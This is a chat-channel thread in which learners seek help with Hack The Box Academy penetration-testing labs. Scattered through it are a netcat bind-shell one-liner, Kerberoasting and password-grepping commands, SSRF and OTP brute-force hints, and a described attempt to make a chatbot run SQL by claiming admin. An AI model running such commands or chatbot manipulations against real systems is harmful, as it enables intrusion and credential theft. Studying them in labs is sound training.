Well yeah.. like I said.. details help others to help you, and sometimes people get tired of drawing blood from a stone. Go in to some more details if you can, and maybe someone will recognise the issue you're facing and be able to help 🙂

Not suggesting you're the stone

Just saying, it happens more frequently than you'd think

[humble hemlock]

Yea dw about it haha

[dense willow]

@ocean night can you help me on this or do you have an idea where I could ask for some hint?

Original Question:

Hello — I have a question about the module “Android Application Static Analysis — Reversing Hybrid Apps.”
I completed all the steps to obtain the debug keys and configured the curl command in every variation, but I always get a 401 Unauthorized / “Invalid credentials” response. I set everything up exactly as shown in the module. I also tested the POST request with Burp and installed the app on an emulator in Android Studio, but nothing works. It feels like I must have missed something — could someone please give me a hint? Or might there be a problem with the target machine? Thank you.

Many thanks in advance

[ocean night]

I cannot help with active content, sorry.

[dense willow]

Okay thank you very much anyway😊

[pale depot]

hey guys
should i freak out because i can't answer this question?

i've also struggeled with the others but this one when i searched for the answers i found it was so complex and too many different answers can work

[cloud urchin]

That's a tough one

[weary crow]

I messed with everything it just said invalid format 400 bad request

[manic remnant]

Can someone help me with this question? It won’t accept “Fibre Optic Cables” or “Optic Cables.”

The question is: What type of network cable is used to transmit data over long distances with minimal signal loss?

[cloud urchin]

I think it's firstword-secondword format

[manic remnant]

Thanks It worked

[clever marlin]

hello to all

idk if somewone can help me wiith this problem im having on intro to windows module

[cloud urchin]

Best to include the module/section/question you're on, and maybe a bit about what you're having trouble with.

[nimble tangle]

hello in the Pivoting, Tunneling, and Port Forwarding Web Server Pivoting with Rpivot exercice after launching the rpivot server and client and trying to connect to the webserver using proxychains it won't connect can someone help with that please

[digital crater]

CWEE path - Advanced SQL Injections - Skills Assessment, part 2. I'm stuck. ||Been trying to apply the PostgreSQL Extensions method. Compiled on the student testing VM Replaced single quotes with $$. Switched to lo_put with offset=pageno*2048. Not sure what else I could be missing.||

[tough gate]

Anyone completed Cross Site Scripting Module? Need to check my flag for phishing section as it is not accepted, feel free to dm. Editing this because after 5 mins then spamming the same flag it accepted it after a few attemps..

[ocean night]

You had a whitespace at the end of your answer for some reason

Glad you got it sorted anyway.

[glad ginkgo]

Can someone help me with Windows Priv Esc/Pillaging/task2.? I've got stuck at this task

[proud finch]

i also looked at the hint, and it is pointed at http service (according to my understanding so far).

[fathom pendant]

Its not http service.

Theres another service running that may require some ids/ips evasion to see (maybe something to do with a source port)

[proud finch]

ahhh ohk ohk

thanks for the hint

[fathom pendant]

Deleting bc spoilers

[spiral sapphire]

Hey Guys, I've an issue on Trust Attacks module. I can't run SpoolSample.exe for some reason. It's the same command that's given in the example. What am I doing wrong?

[spiral sapphire]

NVM, it's working as intended after terminating the target and spawning new one... :))

[lusty flint]

Module: Pivoting, Tunneling, and Port Forwarding
Section: Skills Assessment
Link: https://academy.hackthebox.com/module/158/section/1441

Hey, I have doubt regarding scanning ports on remote/internal hosts

• I set up a Dynamic SSH SOCKS proxy as usual through the pivot host (9050 as proxy)
• Found internal hosts by probing with the pivot host
• However, when I scan with

proxychains nmap -A --top-ports 100 -oN scan <internal-host>
I get no open ports and when use --reason it shows no response

• I tried guessing and gained access and checked the listening ports within the internal host
  then went back to my attack host and tried using nc to grab banners and that worked
• After researching I tried to use -sT for TCP connect scan using nmap still did not work giving reason no-response
• I tried changing proxy to 1080 and did not work either

[river grove]

you can dm me if you still need help

[digital pendant]

Have you made sure (and tripple checked) your proxychains conf file? socks5 127.0.0.1 9050 ?

[potent linden]

For AD Trust Skills Assessment - I’ve been stuck on the first question - any good hints to this? Feel that I’ve been going in circles, ran the bloody dog and can’t find a path- to the point that I’m now questioning my output.

[digital pendant]

you could also put NMAP static binary onto the pivot you have achieved and scan internally that way

during AEN its mentioned so I think thatd be one way.

[digital pendant]

nvm was burp proxy on browser being a pain

[hidden parcel]

Module: Footprinting
Section: DNS
Question: Interact with the target DNS using its IP address and enumerate the FQDN of it for the "inlanefreight.htb" domain

I connected to HTB through VPN, and added the target IP to etc/hosts with associated to inlanefreight.htb, then run the dig command (output on the picture). There are two FQDN:

• root.inlanefreight.htb.
• ns.inlanefreight.htb.
  But none of them seems to be the answer, am I doing something wrong?

[digital pendant]

try without the "." at the end

[hidden parcel]

it worked with the ns one, is there a reason to skip the .?

[digital pendant]

I wish I knew too 😛

[hidden parcel]

understandable xd, thank you

[fickle thicket]

Hi all, need help for Advanced SQL Injections SA, i already enumerated the email but i can't enumerate the password column. any help or guidance on this? thank you very much

[grand dawn]

Having issues with this question Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths (https://www.inlanefreight.com/directory" or "/another/directory") of that domain. Submit the number of these paths as the answer. numbered 3 in Junior cybersecurity module workflow section 5 last question please anyone

[pale island]

You should have i directory found somewhere i don't know specifically, but use that directory as the /directory . So dont try to curl https://www.inlanefreight.com/directory but https://www.inlanefreight.com/'name of directory'

[potent linden]

Anyone that can help me with AD Trust Attack Skills Assessment Q1? ||I've gotten a password, attempted password spraying on the list of users - no idea on who this belongs to... possibly something to use in the future? Also was thinking a path via foreign group I may be a part of, but it also looks like a dead end?||

[fickle thicket]

Any help for this?

[terse bloom]

Is it just me or public instances are really slow?

[potent linden]

IIRC I think it might be have been blocking that word in pArtICulAr?

[humble hemlock]

Sure, just owned it earlier

[terse bloom]

Web Attacks --> Bypassing Encoded References (IDOR). I get a completely different Burp request when I intercept for contracts. I get google host request instead of post to download.php when I clicked on contracts...

[humble hemlock]

Dm ? Or do we answer here ? Not familiar with the process here 😅

[terse bloom]

Me?

[humble hemlock]

The AD guy

[grand dawn]

Please this anyone

[grand dawn]

thanks but I'm currently self learning and this seems kinda complex to me

[potent linden]

We can go via DM, that's fine!

[fickle thicket]

Thank you very much for your HINT!

[humble hemlock]

Apparently, I misunderstood the module here. If anyone pwned AD trust attack module feel free to drop a DM

[digital crater]

What helped me troubleshoot was applying the filter to my payload within the java shell.

[fickle thicket]

You mean the password was filtered at the backend right?

[tidal basin]

seems like the SQLMAP flag5 in attack tuning is off. the show solution gets different results than my query.

[digital crater]

||there's a replaceall filter applying to your payload. I'm assuming you bypassed it to get the email column. I think you've figured out how to get the password now but my more general suggestion is to open up a jshell, and do "your payload".replaceall(...) on each of your payloads||

[paper vapor]

Hello, every lab i spawn for sql injections labs crashed

[pale island]

you can dm me i just looked at the module and know how to find the directories

[mint rover]

Hello, sorry for the late reply. That worked out!

[fathom pendant]

@cedar bridge

1. That module is above tier 0; don't post screenshots of spoilers
2. Use the literal word "PORT"

so http://sub.do.main:PORT/path/to/whatever

[cedar bridge]

Thanks @fathom pendant . I will keep this is in mind going forward. However i tried to submit with the right format you posted but for some reason this is not getting accepted.

[fathom pendant]

basically copy/paste the URL and replace the :31313 with :PORT

i just used placeholders to avoid spoilers

[cedar bridge]

So it shouldnt be the actual port but the keyword. 👍 . Done it accepted . Thanks @fathom pendant

[fathom pendant]

yeah I personally thing it should be a regex accepted number between 1-65535 or PORT but idk how simple that is to actually implement into the answer key

[cedar bridge]

Question stated actual URL which would work only with the port number assigned for the target machine. Anyways thanks for the help.

[fathom pendant]

yeah, like i said it should accept http://sub.do.main:[[:digit:]]{,5}/path/to/something or something like that

but it doesn't, and we complain

[crystal cove]

not just you, same here too, 100 000ms for the Australian server/instance

2AM in Australia but people are avid to learn

[cedar bridge]

@fathom pendant I have a general question. When it comes to fuzzing directories or pages wordlist. We are unable to determine which wordlist actually works. The path file seems to contrary with the one in 2025 kali machine wordlist. Will this be a major issue when it comes to exam?

[fathom pendant]

generally speaking, the wordlists that HTB use are gonna be in SecLists

[digital pendant]

anyone around for a poke on AEN - I want to move from the linux host to the windows host - it briefly mentions how to do it on the module text but I'm getting no where with the current output and seemingly no connections to my python server on the local host.

CertUtil: -URLCache command FAILED: 0x80072ee4 (WinHttp: 12004 ERROR_WINHTTP_INTERNAL_ERROR)
CertUtil: An internal error occurred in the Microsoft Windows HTTP Services

These are the errors I get too.

nvm fixed it. Need http:// for it to treat it as a request to the python server

[plucky sigil]

@upper haven
Module: Attacking AI - Application and System
Section: Rogue Actions

I can successfully ||claim admin|| and the chatbot says ||SQLQuery plugin is available||, but I can't get it to actually execute queries.

Is there a specific format/syntax needed to trigger plugin execution, or should I be looking at a different attack vector entirely?

(I've tried ||username injection||, ||direct SQL after admin claim||, and various payload formats)

[jovial whale]

I'm currently stuck on the Identifying SSRF challenge in the Server-Side attacks module. I've identified some ports but can't access anything

[prime mirage]

Provide more info please so I can try to help

[steep helm]

Hi guys, I'm trying to complete a module but I don't know why I do the right command but it doesn't work at all

[humble hound]

Can u post screenshot here?

[prime mirage]

Ok I'll help

[prime mirage]

Don't take my job

I don't even have it yet

[prime mirage]

Lets start from the beginning

If you run

ip a

[steep helm]

Basically I'm here but the command doesn't go well and keeps telling me aborted

[prime mirage]

In your machine connected to the vpn you should see an ip starting with 10.10.

[steep helm]

Yes I have it why?

I've also pinged the machine for the lab and replies

No packet loss

[prime mirage]

It's important to check that the previous steps to running the command work

[steep helm]

from this everything is ok

[prime mirage]

If you run nmap you see the port 80 too right?

[steep helm]

Yes

[prime mirage]

If you access from the browser you see the wordpress website?

If so share a screenshot of the command you are running and the output

[steep helm]

If I access from the browser I don't see the wordpress I see error 404

[prime mirage]

Ok first problem there

Can I see a screenshot of that?

[steep helm]

Nope sorry my bad I forgot to use https I see the wordpress site

[prime mirage]

Perfect

[steep helm]

My bad😵

[prime mirage]

That means it runs in port 443 not really 80

[steep helm]

yup

Also open

[prime mirage]

Ok also does it redirect you to a domain ending with .htb on the browser?

[steep helm]

Let me check

No

[jovial whale]

I dm'd you

[prime mirage]

ok so when you run the wpscan with https what's the output

[steep helm]

I'll send you a screenshot

[prime mirage]

did you ennumerate all the ports 1-65535 on that ip?

[jovial whale]

I did yes and found two ports

[prime mirage]

all of those with ftp protocol? did you tried http also?

3306 is mysql

[jovial whale]

What do you mean with "with ftp protocol"? I ran an ffuf scan and port 3306 and 34208 were found in addition to port 80

[prime mirage]

in the picture you shared in dm the payload starts with ftp://

that is the protocol

[jovial whale]

oh sry yeah no i had http there before just tried something chatgpt told me to do

didn't help though

[prime mirage]

dw that is how url works look https://bytebytego.com/guides/do-you-know-all-the-components-of-a-url/

[prime mirage]

so there is 2 things to check here

[jovial whale]

yeah I know that but when i try to use the port in my request it says couldn't connect to server

[prime mirage]

yeah so SSRF means that you send a http request and that parameter inside the server makes another request

with the request that the server makes

did you fuzz ports?

[jovial whale]

yes

[prime mirage]

and if you did, with ftp you can't get certain things

try for example http://

to the other port that is not mysql

[steep helm]

yes

[prime mirage]

I was talking to him, to help you I need you to share with me the output of the failed command

[jovial whale]

yeah this is my request but it still gives me an error

[prime mirage]

it's another error right?

can I see it

[jovial whale]

HTTP/1.1 200 OK
Date: Sun, 19 Oct 2025 17:50:59 GMT
Server: Apache/2.4.59 (Debian)
Vary: Accept-Encoding
Content-Length: 91
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Error (7): Failed to connect to 127.0.0.1 port 34208 after 0 ms: Couldn't connect to server

[steep helm]

Sorry that's the out

[prime mirage]

bro you don't have internet in that machine you're in the pwnbox right?

[steep helm]

How? I mean I can search on Internet

[prime mirage]

the scan is trying to update the database and it can't that is why it aborts

[rustic sage]

then u have internet connection

update the database manually first

then try it

[steep helm]

Oh I see, how can I fix it?

[prime mirage]

try what he suggested

[rustic sage]

wpscan --update

i think this was it

[prime mirage]

do you have mysql creds?

[rustic sage]

my memory play with me sometimes

[jovial whale]

no

[rustic sage]

can u set a netcat for ur port?

[prime mirage]

but what happens on port 3306

[rustic sage]

oh i see what hes doing

is this for ssrf?

[prime mirage]

yes

[rustic sage]

ah right yeah

[jovial whale]

another error something with HTTP\0.9 not allowed

[prime mirage]

on the body or the whole response?

[jovial whale]

body

[steep helm]

Ok I try now

[prime mirage]

can I see

[rustic sage]

Imagine HTB does a networking certificate i would take it

[jovial whale]

I did earlier and did get a request. Then did port fuzzing with ffuf and now i'm stuck

[rustic sage]

holdon im rly busy atm trying to work for a networking cert if im free i can try it aswell wiuth you

[steep helm]

Not changed

[rustic sage]

nice let it finish

[steep helm]

Is it normal that it take so long

[rustic sage]

just wait for it

[steep helm]

?

Ok perfect

[rustic sage]

did it work?

[prime mirage]

do this and share the output

ping -c 4 8.8.8.8

from the pwnbox

[prime mirage]

ok maybe the whole approach should different, I don't have enough context but maybe if it fetches something from that ip you're supposed to put your ip and upload a rev shell or something?

@steep helm maybe try with --no-update parameter

the ping command is to confirm if you have internet access from the pwnbox I believe may not have but just to be sure the ping confirms

[weak sun]

Hello everyone. in brutus lab while i am opening wtmp file, i am getting a problem, any help?

[prime mirage]

in #sherlocks

[weak sun]

yes

[potent linden]

Bump - if anyone has owned the AD Trust Attacks Skills Assessment and could help me out?

[weak sun]

yes

[prime mirage]

that question that you asked you should ask it in that channel

since it belongs to a sherlock

not a module in the academy

[weak sun]

got it. Thank You.

[prime mirage]

good luck

[steep helm]

No...

[rustic sage]

umm, restart vm

rq

reset everything

[steep helm]

Ok

[rustic sage]

do a fresh boot n stuff

[steep helm]

I'll try

[rustic sage]

ight

it's defo network related

it's timing out

i had issue with vm network restarted the whole vm and it worked again

[prime mirage]

look at the messages I sent you

[prime mirage]

from here, ignore my reply to iicii but read the message below that too

[weary crow]

hello please can someone help me out with the Unrestricted Resource Consumption vulnerability on https://academy.hackthebox.com/module/268/section/3064

there's a hint saying that i should focus on api/v1/authentication/customers/passwords/resets/sms-otps endpoint it has no rate limiting but i still can figure out what to do next

[steep helm]

Every packet sent lost...

How...

[prime mirage]

because you have no internet

then you can't update

then it freezes

try with --no-update

the pwnbox I believe it has no internet access

[steep helm]

mmmm...

But then how it is possible that I can access internet?

[prime mirage]

with your machine is one thing, the pwnbox runs inside the htb vpn

[steep helm]

I use a VM with Oracle VirtualBox

Maybe I misconfigured the network adapter?

[prime mirage]

but you're using the pwnmachine of htb?

[steep helm]

yes

No wait, I'm using a virtual machine connected to the VPN of HTB

With the HTB target spwaned

[prime mirage]

well, wherever you ran the ping doesn't reach outside the vpn for some reason

[steep helm]

That's strange...

[prime mirage]

if is the same place you run wpscan you can see the problem that got you stuck

[steep helm]

I tried now for fun to ping google.com

It says destination unreachble

no route

Could it be the configuratiuon of the VPN wrong?

[prime mirage]

yeah that is why you have to troubleshoot everything from the beginning sometimes

ah that happened to me I remember

I had this problem multiple times

for some reason while I am connected to the vpn after running nmap with certain arguments my whole internet access is blocked

only solution I found is to reset my router to get assigned another public ip

[prime mirage]

even after closing my vpn connection

[steep helm]

But did it affect the whole internet? So even using another device it was down?

[prime mirage]

no, with other devices everything is fine only in my machine

but I use baremetal arch

[steep helm]

Ah ok

[weary crow]

Hello 👋🏼

[prime mirage]

hi

[fossil jacinth]

Check /etc/resolv and put something like nameserver 8.8.8.8 in there @steep helm

[prime mirage]

So I don't really know because I don't have that module but I imagine that maybe the goal is to somehow bruteforce the reset code? since it has no rate limit

[steep helm]

I don't know why and how, I don't have the resolv...

[prime mirage]

maybe here /etc/resolv.conf

[weary crow]

yeah i tried it but its not giving any results

[steep helm]

Found it

It says another bame server

[prime mirage]

what if you write a script that sends a hardcoded code like 1234 or whatever length it may have and you keep asking for a reset code again and again until it matches?

[steep helm]

Not that one

[prime mirage]

well that is if the code is not too large

otherwise could be unpractical

[fossil jacinth]

Have you ever had internet connection on that vm ?

[steep helm]

Yes

[rustic sage]

No he probably downloaded udp instead of tcp for vpn

[steep helm]

I don't know why now it does this

[weary crow]

i'll try that now and get back to you on it thanks

[rustic sage]

show what openvpn protocol ur using

is it TCP or UDP download?

[fossil jacinth]

It's not vpn related from what I have seen...He can't even ping google.com from what I have seen, right ?

[rustic sage]

wait he cant?

wtf

[rustic sage]

did this happen after an nmap scan?

[steep helm]

Yes not route says

[prime mirage]

it happens to me sometimes

[rustic sage]

yeah it USED to happent o me

i had to restart the vm 24/7

it annoyed me

[prime mirage]

worst in my case that I don't use a VM

[rustic sage]

oh my LOpl

[prime mirage]

restarting the computer won't fix it

[rustic sage]

how did u fix it

[prime mirage]

only this

[rustic sage]

oh right

[fossil jacinth]

What is in your /etc/resolv.conf ? Is there some nameserver line ?

[prime mirage]

└─▶ cat /etc/resolv.conf
# Generated by NetworkManager
nameserver 192.168.1.1

[rustic sage]

how long does it take to get to "pro hacker" role

[steep helm]

Damn... Tomorrow I'll try now I have to go

[prime mirage]

To me it was doing all the active linux machines (except one) and some challenges

[rustic sage]

oh i see how many have u done?

i really need to do some ctf's i havent done it in a month i feel rusty probably

[prime mirage]

I don't remember but you can see it in my profile in htb website

[rustic sage]

ah yes

ok

[fossil jacinth]

I think I have about 50 or so

[rustic sage]

lemme see how much i got

[prime mirage]

let keep this convo in #general

[steep helm]

Thank you very much guys

[prime mirage]

for non module related

[rustic sage]

did it work?

[fossil jacinth]

@steep helm try messing with systemctl network things next time. Read some online guides

[rustic sage]

im probably gonna do pro labs

[fossil jacinth]

First thing I would do though ... Comment out that line in your resolv.conf and add a new one with google's - nameserver 8.8.8.8 .. Or just change from 192.168.1.1 to the 8.8.8.8

[steep helm]

Awsome thanks

[jovial whale]

Still stuck if someone has a solution https://academy.hackthebox.com/module/145/section/1295

[noble spire]

dm

[weary crow]

the ports

[weary crow]

solved it thanks a lot bro

[prime mirage]

Brrr gimme a respects in htb labs website if you like

[weary crow]

how do i do that

[prime mirage]

And send me a ping around here in the future if you need help with something else

[prime mirage]

In the htb website you go to labs and search user echoesofwhoami on the top right of the profile there is a button that says respect

You don't need to do that really only if you want

[weary crow]

i'll totally do it 🤘

🫡 🫡

[prime mirage]

Thanks

[grand timber]

https://academy.hackthebox.com/module/34/section/306#questionsDiv
Im so lost on this entire subnetting thing

[noble spire]

use chatgpt

[terse sedge]

I'm in Password Attacks - Skills Assessment - When trying to run secretsdump.py against the NTDS.dit & system.save files, I get no output at all.

[rustic sage]

watch youtube vid on how to do subnetting

it can be confusing at first, sometimes an actual video helps

[sand jungle]

hey, does anyone here have resolved Advanced SQL Injections skill assessment? im stuck on question 2

[fickle thicket]

same. stuck on qns 2 too. i think one of the parameter id is vulnerable to sqli.

[sand jungle]

can i dm you?

[crimson moon]

exploiting thick client applications been following the steps mentioned for 4 days but the final jar file doesn't open. Please help

[fathom pendant]

watch ippsec's video on fatty or read 0xdf's writeup on it

[crimson moon]

after seeing the duration of the video got lazy and instead used AI now working lol.

[fathom pendant]

i mean the thick client part is ripped straight from the INSANE machine fatty

[peak lagoon]

I tried fuzzing for the OTP too, but for some reason it didn't work the first time, thanks!

[civic fiber]

Edit the code and to alert build number. and check the hint.

[wicked apex]

Module: Vulnerability assessment
Should i calculate a cvss score based on the finding alone
Or should I consider the entire attack chain and rate the finding itself?

||Say prob a privesc exploit via seimpersonate that only occurs after 2~3 dacl privilege abuse ||

[lusty flint]

Oh I had it as socks4 will try with socks5
Thanks!

[lusty flint]

Yeah but I wanted to understand why the packets aren’t received on my attack host

[fathom pendant]

nmap and socks proxy famously don't get along too well

@mighty harness don't reveal information for skill assessments

[mighty harness]

ookayy but can you help me plz im still stuck and cannot bypass the login form

[fathom pendant]

registration is your break in

try just injecting a ' until it breaks

[lusty flint]

So what’s the workaround to that?

[viral anchor]

In: Active Directory Enumeration & Attacks : Kerberoasting - from Linux
Section: Listing SPN Accounts with GetUserSPNs.py

the wording says that valid credentials are needed to pull SPNs in the domain. in the lab exercise, running the command with no username or password still pulls the same list of usernames as with credentials. is this something unique to the lab or part of how this attack works?

this
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/

does the same as this
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend

[fossil jacinth]

Probably there are credentials / tickets used in memory on the box where you execute these commands and so the DC can verify even if you don't specify those credentials

[digital pendant]

Tbf it should work with vs 4 too, i was just seeing if anything obvious was missing

[lusty flint]

Can’t seem to get it working, got no clue why, tried chisel, sshuttle none seem to work
Just gonna move on and learn about it in detail later
Thanks for the help !

[digital pendant]

All good, given aen the last cpts module teaches you to use the static binary in events like this, id say get comfortable with file transfers and tunnelling and it shouldn't present much issue as marcie said above, proxychains and nmap usually shit the bed so its not unusual to see this, long as you have an approach around it should be ok

[brave field]

use ligolo-ng

[brave field]

The dot (.) at the end marks the DNS root — it’s part of the full canonical name, not just a style choice. The dot tells the resolver “this is the absolute end — don’t append anything else."

[lusty flint]

Yeah I’m good with rest, had already finished the skill assessment. Just wanted to be thorough with all the ways to do it

[lusty flint]

Will try thanks

That command is just recursively checking all files within that directory and checking for the pattern pass. It’s pretty useful. It’s just throwing errors away if patterns don’t match or access issues

bash_history is like a text file with the history of commands used. So you can grep it. “.bash_history” hidden file under user’s home directory

[waxen totem]

you can do

grep 'pass' -Rni /home/ 2>/dev/null

it should show you the file name and line number

[lusty flint]

Ah as I said .bash_history usually lives in the user’s home directory.

If you do “ls -la” it’ll show it and use -n with grep to show line number

for example if user “test” exists under /home

cd /home/test
grep -ni “pass” ~/.bash_history

n=> should show line number that matches

i=> case-insensitive

You can also add -C 3

To show 3 lines above and below the matched line

[woven zenith]

👍 thanks.

[brave field]

la la like sing? 😆

[lusty flint]

😂😂 typo

[short wolf]

Hello. I have a minor user experience issue I encounted which related to the beta outlook of academy.
Should I just post it at here, or someone could tell me where should I go.
Thanks.

[prime mirage]

Support

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[twilit gazelle]

Hey
Can anyone tackle this
I'm using eternal romance and it says service start timed out, OK if running a command or non service executable...
Then exploit complete but no session was created

[autumn pilot]

On which module and section are you working

[civic fiber]

❤️

[wide jungle]

hello, I am kinda stuck on Attacking windows credential manager lab. I have bypassed UAC and ran mimikatz but the password is not the right one?? Where am I supposed to look?

[orchid gust]

Hello! I am new here and starting my journy, but unfortunatly hit a wall... I am currently in the segment Domain Name System (DNS) of Network foundations. I have awnsered all questions exept one:
What is checked first in the DNS resolution process when you enter a domain name into a browser? (Format: Two words)
That might be stupid, but i can not figure out what the correct awnser/format is. Could someone please enlighten me.

[autumn pilot]

There is a table with steps in the section, one of the steps has the answer

[orchid gust]

Yes you are righ, i read throug it all and my guess as well as the guess of other sources, the awnser should be local cach or local DNS. However, it seems that either its the wrong format, or i am really that stupid!^^

[orchid gust]

Issue solved! There has to be a very specific way how to write the awnser....

[warm turret]

Hello, on Active Directory Enumeration & Attacks -> LLMNR/NBT-NS Poisoning - from Windows i can not manage to make work the creds for the RDP . How can i get support for this?

[autumn pilot]

I have just tested the credentials for that section and target, and they are working as expected.

If you are using the built-in Remote Desktop Connection app in Windows (which apparently you are) you might need to specify the domain

Additionally, I would advise using a virtual machine or the provided workstation, if you are using your host OS to do the modules

[warm turret]

yah, i'll just use remina then. thanks

[warm turret]

thanks, creds works fine from remina (and native RDP client of Windows using domain INLANEFREIGHT) 🖐️

[sand jungle]

I managed to pass Advanced SQL Injections Skills Assessment

If anyone reading this and struggling, dm me

[barren salmon]

yaah Footprinting modul is 100% done! https://academy.hackthebox.com/achievement/badge/9c3a3986-adac-11f0-9254-bea50ffe6cb4

[spring root]

module Active Directory Enumeration & Attacks in section Privileged Access at question What host can this user access via WinRM? (just the computer name) this gives the wrong answer? can someone pls help me out

[mellow sky]

Hi, there is a problem in Attacking Thick Client Applications in Attacking Common Applications module. I can't open powershell inside the machine that I connected with rdp which is required to open powershell as it shows in tutorial.
C:\Users\cybervaca\AppData\Local>powershell.exe
Windows PowerShell terminated with the following error:
The type initializer for 'System.Management.Automation.Runspaces.InitialSessionState' threw an exception.
this is error

[spring root]

nver mind found the ansewer. you need to pass in the cypher and scroll down in bloodhund. got stuck on this one for way to long

[mellow sky]

I found how to solve

[grim gust]

In https://academy.hackthebox.com/module/158/section/1434 are the credentials missing to connect to the spawned system.

[fathom pendant]

3rd q has creds, the first 2 qs are just reading comprehension questions

[junior roost]

Hello team

I am. Currently working on password attacks: pass the Hash module I am trying to get a rev shell I have followed through and I am still not getting the reverse shell what am I missing here my payload is good to go

[fathom pendant]

Are you sure that all the information for the payload is correct.

[junior roost]

You got a min lemme share my screen

[fathom pendant]

I don't do private dms like that, as I dont believe you have screenshare permissions in the other vcs

[junior roost]

Okay lemme share a screenshot

[fathom pendant]

Ah I see the issur

Are you running nc.exe on the target?

[junior roost]

yea

its in the MS01 Box /tools dir

[fathom pendant]

And the payload uses all the relevant ip information in order to connect back

[junior roost]

yea

[fathom pendant]

The 172.x.x.x ips, none of the ips should be 10.x.x.x

[fathom pendant]

I see your problem

[junior roost]

its nc.exe

[fathom pendant]

Don't encode in base64

[junior roost]

ok

lemme try that

Boom

It worked thanks @fathom pendant

[granite canopy]

. nvm

[steep helm]

I don't know why guys, but I'm still having the same problem eve using the Pawnbox....

[zenith token]

Hey There
Brief question in Module "Attacking Web Applications with Ffuf"... In the skills Assessment Question 3.... Is this expected that instead of the proper port you have to write "PORT"? Took me like 30 min to figure this out

[fathom pendant]

Yes, this is expected

[terse sedge]

I'm in Password Attacks - Skills Assessment - When trying to run secretsdump.py against the NTDS.dit & system.save files, I get no output at all.

[golden saddle]

guys am i going insane?:

ive been using ctrl b % all my life XD

ohh forgot the shift lol because you need to press shift for %

[carmine needle]

Im just getting to the SQL Injection Fundamentals assessment, and when I go to visit the webpage I get a 400 bad request

Same error through my default browser, firefox, pwnbox, and burpsuite's browser

I cant find a thread of this happening historically but I'd love for this to be a simple issue

[tired olive]

is 'Junior Cybersecurity Analyst' the 'Penetration Tester' of blue team?

or is it 'SOC analyst'

[carmine needle]

could be an AWS issue?

[fathom pendant]

that issue has long since been resolved, but i believe HTB uses Digital Ocean droplets for their public:port targets

[gray yacht]

Is this issue due to the http vs https part that is mentioned in the scenario?

[glad token]

Can I get some help for API Attacks - Broken Authentication? I am trying to change the password for the [e-mail] using OTP, but I cannot get a successful change.

[carmine needle]

erm, yes. I really hope that I'm having a "did you not read it" issue right now, I skipped a lot once I saw it was talking about burp because I have my certificates and whatnot configured

I'm not at desktop, but I do remember reading about the http vs https but then it started talking about the CA Certs and foxyproxy and i'm like "psh I got this"

[glad token]

So for this one, I was trying to get a proof of concept by doing it on the HTB account provided before doing it on the target. I guess the OTP is not setup to work on the account provided, because when I switched my command from the HTB account to the target account, the command worked and I got the OTP to go through

[brazen nacelle]

I am just working on the module "Attacking Enterprise Networks" (section Internal Information Gathering) and have a problem while using nmap over proxychains. The same issue seems to be in other modules and in more discord postings, but I didn't find a solution. Everytime I use nmap to scan internal networks via proxychains it says "0 hosts up" and all ports are listed as filtered. Even within pwnbox and the official solution it doesn't work. The only difference I can see is, that the solution used proxychains 3.1 and I use 4. Any help for this problem? Btw.: With ligolo it works fine, but I also want to get it work via proxychains.

[autumn pilot]

Have you tried running it with sudo

[south hound]

Guys why are the machines not spawning?

[brazen nacelle]

Yes. I tried: proxychains nmap -sT -Pn -p 21,22,23,3389 IP , proxychains sudo nmap ... , sudo proxychains nmap ... and even sudo proxychains sudo nmap .... The result is: Nmap done: 1 IP address (0 hosts up) scanned in 3.07 seconds

[hollow kernel]

Use ligolo xD and your problems finish

[haughty fiber]

command injection skills assessment. I feel i'm at the final step but can't find the answer

/ is blacklisted but any substitutions are not working either

can anyone help

[prime mirage]

Provide more context some of us could help you but we didn't go through the modules so we need more context

[visual cove]

Hello,
What is the flag in the first task in the web Requests module? It says I should curl inlanefreight.com/download.php for the flag but when I curl there is no flag

[prime mirage]

It's forbidden to share flags

[visual cove]

Ok then how can I acces the flag

[prime mirage]

Keep trying, ask for help if you can provide context about the problem you're experiencing

[visual cove]

I don’t even can ping inlanefreight.com in the pawnbox

[prime mirage]

Also it should be related to hack the box modules

[visual cove]

Can you help me

[prime mirage]

Maybe

[visual cove]

It’s the module/35/section/219

[prime mirage]

I don't do modules, but I can help you troubleshooting

[visual cove]

Ok

[prime mirage]

Do you have internet access from the machine that you're trying to curl?

[visual cove]

Yes, I can ping google.com whitout problems

[prime mirage]

ping 8.8.8.8 -c 4

Ok

If you curl the base url what do you get

Share screenshot if that helps

Is just so I can see the error

[visual cove]

If I use curl google.com it dose nothing but I can do curl -h

[prime mirage]

Do curl yo the base url that you want to reach and tell me the exact output

[visual cove]

There is no output

[prime mirage]

so if you try this you get no output?

[visual cove]

No output

[prime mirage]

can't access with the browser either?

[visual cove]

No

[prime mirage]

does the module provide you with an ip for the target site?

[visual cove]

Yes

[prime mirage]

do you have it under /etc/hosts ?

[visual cove]

No

[prime mirage]

if you access that ip with the browser or burp, do you get something?

or with curl

try curl and the ip

[visual cove]

Yes

I got it

Thx

[prime mirage]

great

anyway I would recommend to take a look of what does /etc/hosts

it may be helpful for some things

[visual cove]

Ok, I will remember that

[teal frigate]

Hey everyone!
Don't know if this is the right place to ask, if not please redirect me to the right channel.
I'm having issues spawning the target for Windows Attacks & Defense Module - Credentials in Shares it's stuck on an infinite loop, can someone help me with this? I was able to spawn a Pwnbox.

[grim gust]

If a lab won't spawn https://academy.hackthebox.com/module/67/section/605

What do we have to do ?

[gray yacht]

Try switching things up with your connection. It spun up on my end and I am on US East.

[grim gust]

I changed from eu-academy-6 to us-academy-4 and now it is working, thanks for the tip 👍

[teal frigate]

It worked for me as well, thanks!

[sly nebula]

Module "Android Application Static Analysis", Section "Deobfuscating Code": the paranoid-deobfuscation Python module does not appear to be working anymore, thus impeding progress on this specific section. Are there any known workarounds or alternatives? @sick fulcrum

[winter niche]

Android Penetration Testing Automation module Drozer sub module, stuck here need help to solve this

[devout lily]

Hi everyone, can someone help me with the bind shell exercise in the dedicated module?

i have access using ssh, but i dont understand how to use those commands

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f i dont uderstand this command, and the Relationship with nc -nv 10.129.41.200 7777

[sly nebula]

Here is an explanation of this pipeline.
